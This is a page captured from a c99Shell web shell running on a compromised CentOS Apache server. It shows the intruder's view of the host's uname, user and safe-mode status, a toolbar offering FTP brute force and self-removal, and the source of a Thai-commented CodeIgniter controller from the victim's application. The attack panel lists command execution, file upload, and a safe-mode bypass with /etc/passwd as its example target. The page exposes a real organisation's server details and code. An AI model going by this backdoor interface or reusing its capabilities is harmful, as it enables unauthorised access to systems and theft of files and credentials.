!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis/application/controllers/esa/   drwxr-xr-x
Free 50.65 GB of 127.8 GB (39.63%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     sa_controller.php (3.97 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
ini_set
('display_errors'1);
include(
'application/controllers/my_controller.php');
class 
Sa_controller extends My_controller {
    public 
$contents;
    public 
$loadView;
    public 
$data;

    public function 
__construct() {
        
parent::__construct();
        
$this->db $this->load->database('esa'TRUE);
    }

    function 
output($view,$data='') {
        
$this->body $this->load->view("esa/".$view,$data,true);
        
$this->show();
    }

    function 
output_popup($view,$data) {
        
$this->body =  $this->load->view("esa/".$view,$data,true);
        
$this->showPopup();
    }

    
/**
        คำอธิบายฟังก์ชั่น: มีไว้สร้างสโมสรใหม่
    */
    
function create_asso() {
        
$data['text'] = 'nothing';
        
$this->output("v_createAsso"$data);
    }

    
/**
        คำอธิบายฟังก์ชั่น: มีไว้สร้างชมรมใหม่
    */
    
function create_club() {
        
$data['text'] = 'nothing';
        
$this->output("v_createClub"$data);
    }

    
/**
        คำอธิบายฟังก์ชั่น: มีไว้สร้างโครงการใหม่
    */
    
function create_project() {
        
$data['text'] = 'nothing';
        
$this->output("v_createProject"$data);
    }

    
/**
        คำอธิบายฟังก์ชั่น: มีไว้สำหรับเพิ่มข้อมูลด้านคุณลักษณะ ในข้อมูลพื้นฐานของระบบ
    */
    
function add_characteristic() {
        
$data['text'] = 'nothing';
        
$this->output("v_addCharacteristic"$data);
    }

    
/**
        คำอธิบายฟังก์ชั่น: มีไว้สำหรับเพิ่มข้อมูลแหล่งทุนในโครงการ ในข้อมูลพื้นฐานของระบบ
    */
    
function add_scholar() {
        
$data['text'] = 'nothing';
        
$this->output("v_addScholar"$data);
    }

    function 
view($view,$data='') {
        return 
$this->load->view("esa/".$view,$data,true);
    }

    function 
checkEra($str) {
        if(
$str=='') {
            
$this->form_validation->set_message('checkEra','กรุณาป้อน%s');
            return 
false;
        } else if(
is_numeric($str)==false) {
            
$this->form_validation->set_message('checkEra','%sต้องเป็นตัวเลขเท่านั้น');
            return 
false;
        } else if(
strlen($str)!=4) {
            
$this->form_validation->set_message('checkEra','%sจะต้องเท่ากับ 4 หลัก');
            return 
false;
        } else if(
$str==0) {
            
$this->form_validation->set_message('checkEra','%sจะต้องมากกว่า 0');
            return 
false;
        } else {
            return 
true;
        }
    }
    
    function 
checkFrDate($str$field) {
        
$start_date splitDateForm2($str); 
        
$end_date splitDateForm2($this->input->post($field));

        if (
$start_date $end_date) { 
            
$this->form_validation->set_message('checkFrDate''%s ต้องน้อยกว่าหรือเท่ากับ วันที่สิ้นสุด'); return FALSE;
        } else { 
            return 
TRUE
        }
    }

    function 
checkselect($str){
        if (
$str == "") {
            
$this->form_validation->set_message('checkselect','กรุณาเลือก%s');
            return 
FALSE;
        } else {
            return 
TRUE;
        }
    }
    
    function 
checkAdY($str) {
        if(
$str=='') {
            
$this->form_validation->set_message('checkAdY','กรุณาป้อน%s');
            return 
false;
        } else if(
is_numeric($str)==false) {
            
$this->form_validation->set_message('checkAdY','%sต้องเป็นตัวเลขเท่านั้น');
            return 
false;
        } else if(
strlen($str)!=4) {
            
$this->form_validation->set_message('checkAdY','%sจะต้องเท่ากับ 4 หลัก');
            return 
false;
        } else if(
$str==0) {
            
$this->form_validation->set_message('checkAdY','%sจะต้องมากกว่า 0');
            return 
false;
        } else {
            return 
true;
        }
    }

    function 
checkupload($str){
        
$this->form_validation->set_message('checkupload','%s');
        return 
false;
    }
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0067 ]--